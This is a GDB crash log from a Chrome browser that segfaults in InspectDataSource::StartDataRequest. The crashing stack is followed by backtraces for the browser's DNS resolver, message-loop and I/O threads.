[New Thread 0xab0fbb70 (LWP 10492)]
[New Thread 0xaa8fab70 (LWP 10497)]
[New Thread 0xaa0f9b70 (LWP 10498)]
[New Thread 0xa9282b70 (LWP 10515)]
[Thread 0xa9282b70 (LWP 10515) exited]
[New Thread 0xa97abb70 (LWP 10516)]
[New Thread 0xa978ab70 (LWP 10519)]
[New Thread 0xa9769b70 (LWP 10520)]

Program received signal SIGSEGV, Segmentation fault.
0xb40ea92b in (anonymous namespace)::InspectDataSource::StartDataRequest(std::string const&, bool, int) ()
#0 0xb40ea92b in (anonymous namespace)::InspectDataSource::StartDataRequest(std::string const&, bool, int) ()
#1 0xb40caf9b in base::internal::Invoker<4, base::internal::BindState<base::internal::RunnableAdapter<void (ChromeURLDataManager::DataSource::)(std::string const&, bool, int)>, void ()(ChromeURLDataManager::DataSource, std::string const&, bool, int), void ()(ChromeURLDataManager::DataSource*, std::string, bool, int)>, void ()(ChromeURLDataManager::DataSource*, std::string const&, bool, int)>::Run(base::internal::BindStateBase*) ()
#2 0xb498c220 in MessageLoop::RunTask(base::PendingTask const&) ()
#3 0xb498c8c2 in MessageLoop::DeferOrRunPendingTask(base::PendingTask const&) ()
#4 0xb498cc31 in MessageLoop::DoWork() ()
#5 0xb49d58be in base::MessagePumpGlib::RunWithDispatcher(base::MessagePump::Delegate*, base::MessagePumpDispatcher*) ()
#6 0xb49d543c in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) ()
#7 0xb498846e in MessageLoop::RunInternal() ()
#8 0xb49a4ae9 in base::RunLoop::Run() ()
#9 0xb46513f5 in ChromeBrowserMainParts::MainMessageLoopRun(int*) ()
#10 0xb65262ec in content::BrowserMainLoop::RunMainMessageLoopParts() ()
#11 0xb6527280 in (anonymous namespace)::BrowserMainRunnerImpl::Run() ()
#12 0xb65247f3 in BrowserMain(content::MainFunctionParams const&) ()
#13 0xb48fb758 in content::RunNamedProcessTypeMain(std::string const&, content::MainFunctionParams const&, content::ContentMainDelegate*) ()
#14 0xb48fb8b0 in content::ContentMainRunnerImpl::Run() ()
#15 0xb48fa797 in content::ContentMain(int, char const**, content::ContentMainDelegate*) ()
#16 0xb3fbe60b in ChromeMain ()
#17 0xb3fbe5c2 in main ()

Thread 25 (Thread 0xa9769b70 (LWP 10520)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6
#2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2
#4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2
#6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6
#9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6
#10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6
#11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::timeTicks const&, unsigned int) ()
#14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask::)(base::timeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask, base::timeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::timeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::timeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) ()
#15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::threadMain() ()
#16 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 24 (Thread 0xa978ab70 (LWP 10519)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6
#2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2
#4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2
#6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6
#9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6
#10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6
#11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::timeTicks const&, unsigned int) ()
#14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask::)(base::timeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask, base::timeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::timeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::timeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) ()
#15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::threadMain() ()
#16 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 23 (Thread 0xa97abb70 (LWP 10516)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6
#2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2
#4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2
#6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6
#9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6
#10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6
#11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::timeTicks const&, unsigned int) ()
#14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask::)(base::timeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask, base::timeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::timeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::timeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) ()
#15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::threadMain() ()
#16 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 21 (Thread 0xaa0f9b70 (LWP 10498)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b1d48 in base::ConditionVariable::Wait() ()
#3 0xb49be489 in base::SequencedWorkerPool::Inner::threadLoop(base::SequencedWorkerPool::Worker*) ()
#4 0xb49bec19 in base::SequencedWorkerPool::Worker::Run() ()
#5 0xb49bf733 in base::SimpleThread::threadMain() ()
#6 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#7 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#8 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 20 (Thread 0xaa8fab70 (LWP 10497)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365342 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b24cc in base::ConditionVariable::timedWait(base::timeDelta const&) ()
#3 0xb49b36dd in base::WaitableEvent::timedWait(base::timeDelta const&) ()
#4 0xb498e11a in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
#5 0xb498846e in MessageLoop::RunInternal() ()
#6 0xb49a4ae9 in base::RunLoop::Run() ()
#7 0xb498775e in MessageLoop::Run() ()
#8 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#9 0xb49bfa91 in base::thread::threadMain() ()
#10 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#11 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#12 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 19 (Thread 0xab0fbb70 (LWP 10492)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b1d48 in base::ConditionVariable::Wait() ()
#3 0xb49be489 in base::SequencedWorkerPool::Inner::threadLoop(base::SequencedWorkerPool::Worker*) ()
#4 0xb49bec19 in base::SequencedWorkerPool::Worker::Run() ()
#5 0xb49bf733 in base::SimpleThread::threadMain() ()
#6 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#7 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#8 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 18 (Thread 0xac4eeb70 (LWP 10491)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b1d48 in base::ConditionVariable::Wait() ()
#3 0xb49b36f0 in base::WaitableEvent::timedWait(base::timeDelta const&) ()
#4 0xb49b3736 in base::WaitableEvent::Wait() ()
#5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb49bfa91 in base::thread::threadMain() ()
#11 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#12 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#13 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 16 (Thread 0xacdfcb70 (LWP 10489)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365342 in pthread_cond_timedwait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b24cc in base::ConditionVariable::timedWait(base::timeDelta const&) ()
#3 0xb49b36dd in base::WaitableEvent::timedWait(base::timeDelta const&) ()
#4 0xb498e11a in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
#5 0xb498846e in MessageLoop::RunInternal() ()
#6 0xb49a4ae9 in base::RunLoop::Run() ()
#7 0xb498775e in MessageLoop::Run() ()
#8 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#9 0xb49bfa91 in base::thread::threadMain() ()
#10 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#11 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#12 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 15 (Thread 0xace1db70 (LWP 10488)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6
#2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2
#4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2
#6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6
#9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6
#10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6
#11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::timeTicks const&, unsigned int) ()
#14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask::)(base::timeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask, base::timeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::timeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::timeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) ()
#15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::threadMain() ()
#16 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 14 (Thread 0xace3eb70 (LWP 10487)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6
#2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2
#4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2
#6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6
#9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6
#10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6
#11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::timeTicks const&, unsigned int) ()
#14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask::)(base::timeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask, base::timeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::timeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::timeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) ()
#15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::threadMain() ()
#16 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 13 (Thread 0xace5fb70 (LWP 10486)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f36b86 in poll () from /lib/tls/i686/cmov/libc.so.6
#2 0xb2a96718 in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#3 0xb2a948a3 in __libc_res_nquery () from /lib/tls/i686/cmov/libresolv.so.2
#4 0xb2a94e8b in ?? () from /lib/tls/i686/cmov/libresolv.so.2
#5 0xb2a95119 in __libc_res_nsearch () from /lib/tls/i686/cmov/libresolv.so.2
#6 0xabc80bd6 in _nss_dns_gethostbyname3_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#7 0xabc80f2b in _nss_dns_gethostbyname2_r () from /lib/tls/i686/cmov/libnss_dns.so.2
#8 0xb2f5bb0d in gethostbyname2_r () from /lib/tls/i686/cmov/libc.so.6
#9 0xb2f1d010 in ?? () from /lib/tls/i686/cmov/libc.so.6
#10 0xb2f1ea65 in getaddrinfo () from /lib/tls/i686/cmov/libc.so.6
#11 0xb4a33e2a in net::SystemHostResolverProc(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#12 0xb4a23537 in net::(anonymous namespace)::CallSystemHostResolverProc::Resolve(std::string const&, net::AddressFamily, int, net::AddressList*, int*) ()
#13 0xb4a239a3 in net::HostResolverImpl::ProcTask::DoLookup(base::timeTicks const&, unsigned int) ()
#14 0xb4a229b5 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (net::HostResolverImpl::ProcTask::)(base::timeTicks const&, unsigned int)>, void ()(net::HostResolverImpl::ProcTask, base::timeTicks const&, unsigned int), void ()(net::HostResolverImpl::ProcTask*, base::timeTicks, unsigned int)>, void ()(net::HostResolverImpl::ProcTask*, base::timeTicks const&, unsigned int)>::Run(base::internal::BindStateBase*) ()
#15 0xb49c2701 in base::(anonymous namespace)::WorkerThread::threadMain() ()
#16 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#17 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#18 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 12 (Thread 0xad660b70 (LWP 10485)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f40d37 in syscall () from /lib/tls/i686/cmov/libc.so.6
#2 0xb49e6410 in epoll_wait ()
#3 0xb49e5e75 in epoll_dispatch ()
#4 0xb49e42a7 in event_base_loop ()
#5 0xb495eda7 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb652797d in content::BrowserThreadImpl::IOThreadRun(MessageLoop*) ()
#11 0xb6529da3 in content::BrowserThreadImpl::Run(MessageLoop*) ()
#12 0xb49bfa91 in base::thread::threadMain() ()
#13 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 11 (Thread 0xade61b70 (LWP 10484)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f40d37 in syscall () from /lib/tls/i686/cmov/libc.so.6
#2 0xb49e6410 in epoll_wait ()
#3 0xb49e5e75 in epoll_dispatch ()
#4 0xb49e42a7 in event_base_loop ()
#5 0xb495eda7 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb6527a1d in content::BrowserThreadImpl::CacheThreadRun(MessageLoop*) ()
#11 0xb6529db1 in content::BrowserThreadImpl::Run(MessageLoop*) ()
#12 0xb49bfa91 in base::thread::threadMain() ()
#13 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 10 (Thread 0xae662b70 (LWP 10483)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b1d48 in base::ConditionVariable::Wait() ()
#3 0xb49b36f0 in base::WaitableEvent::timedWait(base::timeDelta const&) ()
#4 0xb49b3736 in base::WaitableEvent::Wait() ()
#5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb6527abd in content::BrowserThreadImpl::ProcessLauncherThreadRun(MessageLoop*) ()
#11 0xb6529dbf in content::BrowserThreadImpl::Run(MessageLoop*) ()
#12 0xb49bfa91 in base::thread::threadMain() ()
#13 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 9 (Thread 0xaee63b70 (LWP 10482)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b1d48 in base::ConditionVariable::Wait() ()
#3 0xb49b36f0 in base::WaitableEvent::timedWait(base::timeDelta const&) ()
#4 0xb49b3736 in base::WaitableEvent::Wait() ()
#5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb6527b5d in content::BrowserThreadImpl::FileUserBlockingThreadRun(MessageLoop*) ()
#11 0xb6529dce in content::BrowserThreadImpl::Run(MessageLoop*) ()
#12 0xb49bfa91 in base::thread::threadMain() ()
#13 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 8 (Thread 0xaf664b70 (LWP 10481)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f40d37 in syscall () from /lib/tls/i686/cmov/libc.so.6
#2 0xb49e6410 in epoll_wait ()
#3 0xb49e5e75 in epoll_dispatch ()
#4 0xb49e42a7 in event_base_loop ()
#5 0xb495eda7 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb6527bfd in content::BrowserThreadImpl::FileThreadRun(MessageLoop*) ()
#11 0xb6529dde in content::BrowserThreadImpl::Run(MessageLoop*) ()
#12 0xb49bfa91 in base::thread::threadMain() ()
#13 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 7 (Thread 0xafe65b70 (LWP 10480)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b1d48 in base::ConditionVariable::Wait() ()
#3 0xb49b36f0 in base::WaitableEvent::timedWait(base::timeDelta const&) ()
#4 0xb49b3736 in base::WaitableEvent::Wait() ()
#5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb6527c9d in content::BrowserThreadImpl::WebKitThreadRun(MessageLoop*) ()
#11 0xb6529dee in content::BrowserThreadImpl::Run(MessageLoop*) ()
#12 0xb49bfa91 in base::thread::threadMain() ()
#13 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 6 (Thread 0xb0666b70 (LWP 10479)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b1d48 in base::ConditionVariable::Wait() ()
#3 0xb49b36f0 in base::WaitableEvent::timedWait(base::timeDelta const&) ()
#4 0xb49b3736 in base::WaitableEvent::Wait() ()
#5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb6527d3d in content::BrowserThreadImpl::DBThreadRun(MessageLoop*) ()
#11 0xb6529dfe in content::BrowserThreadImpl::Run(MessageLoop*) ()
#12 0xb49bfa91 in base::thread::threadMain() ()
#13 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 5 (Thread 0xb280db70 (LWP 10478)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3367f5b in read () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb4254037 in (anonymous namespace)::ShutdownDetector::threadMain() ()
#3 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#4 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#5 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 4 (Thread 0xb1733b70 (LWP 10477)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0
#2 0xb49b1d48 in base::ConditionVariable::Wait() ()
#3 0xb49b36f0 in base::WaitableEvent::timedWait(base::timeDelta const&) ()
#4 0xb49b3736 in base::WaitableEvent::Wait() ()
#5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
#6 0xb498846e in MessageLoop::RunInternal() ()
#7 0xb49a4ae9 in base::RunLoop::Run() ()
#8 0xb498775e in MessageLoop::Run() ()
#9 0xb49bfbb9 in base::thread::Run(MessageLoop*) ()
#10 0xb49bfa91 in base::thread::threadMain() ()
#11 0xb49bb148 in base::(anonymous namespace)::threadFunc(void*) ()
#12 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#13 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6

Thread 3 (Thread 0xb1f34b70 (LWP 10476)):
#0 0xb3d80430 in __kernel_vsyscall ()
#1 0xb2f3d971 in select () from /lib/tls/i686/cmov/libc.so.6
#2 0xb497f952 in base::files::(anonymous namespace)::InotifyReaderCallback(base::files::(anonymous namespace)::InotifyReader*, int, int) ()
#3 0xb497cc19 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void ()(base::files::(anonymous namespace)::InotifyReader, int, int)>, void ()(base::files::(anonymous namespace)::InotifyReader*, int, int), void ()(base::files::(anonymous namespace)::InotifyReader*, int, int)>, void ()(base::files::(anonymous namespace)::InotifyReader*, int, int)>::Run(base::internal::BindStateBase*) ()
#4 0xb498c220 in MessageLoop::RunTask(base::PendingTask const&) ()
#5 0xb498c8c2 in MessageLoop::DeferOrRunPendingTask(base::PendingTask const&) ()
#6 0xb498cc31 in MessageLoop::DoWork() ()
#7 0xb498e06b in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) ()
